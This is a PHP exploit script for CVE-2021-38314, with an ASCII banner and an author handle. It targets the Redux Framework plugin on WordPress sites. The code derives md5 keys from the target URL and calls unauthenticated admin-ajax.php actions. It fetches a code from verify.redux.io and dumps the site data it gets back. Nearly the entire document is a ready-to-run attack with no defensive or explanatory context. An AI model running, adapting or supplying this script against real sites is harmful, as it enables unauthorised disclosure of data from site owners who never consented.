Php Exploit script CVE-2021-38314

cve-2021-38314.php

<?php
print "
   _______      ________    ___   ___ ___  __       ____   ___ ____  __ _  _   
  / ____\ \    / /  ____|  |__ \ / _ \__ \/_ |     |___ \ / _ \___ \/_ | || |  
 | |     \ \  / /| |__ ______ ) | | | | ) || |______ __) | (_) |__) || | || |_ 
 | |      \ \/ / |  __|______/ /| | | |/ / | |______|__ < > _ <|__ < | |__   _|
 | |____   \  /  | |____    / /_| |_| / /_ | |      ___) | (_) |__) || |  | |  
  \_____|   \/   |______|  |____|\___/____||_|     |____/ \___/____/ |_|  |_|  
                                                                               
    Author: @powerexploit
";
$target = "<url>";
# Add the target url
$key1 = md5("$target/-redux");
$key2 = file_get_contents("$target/wp-admin/admin-ajax.php?action=$key1");
$key3 = md5($key2.'-support');
$redux_code = file_get_contents("http://verify.redux.io/?hash=$key3&site=$target/");
$json1=file_get_contents("$target/wp-admin/admin-ajax.php?action=$key3&code=$redux_code");
$json2 = json_encode(json_decode($json1), JSON_PRETTY_PRINT);
echo $json2;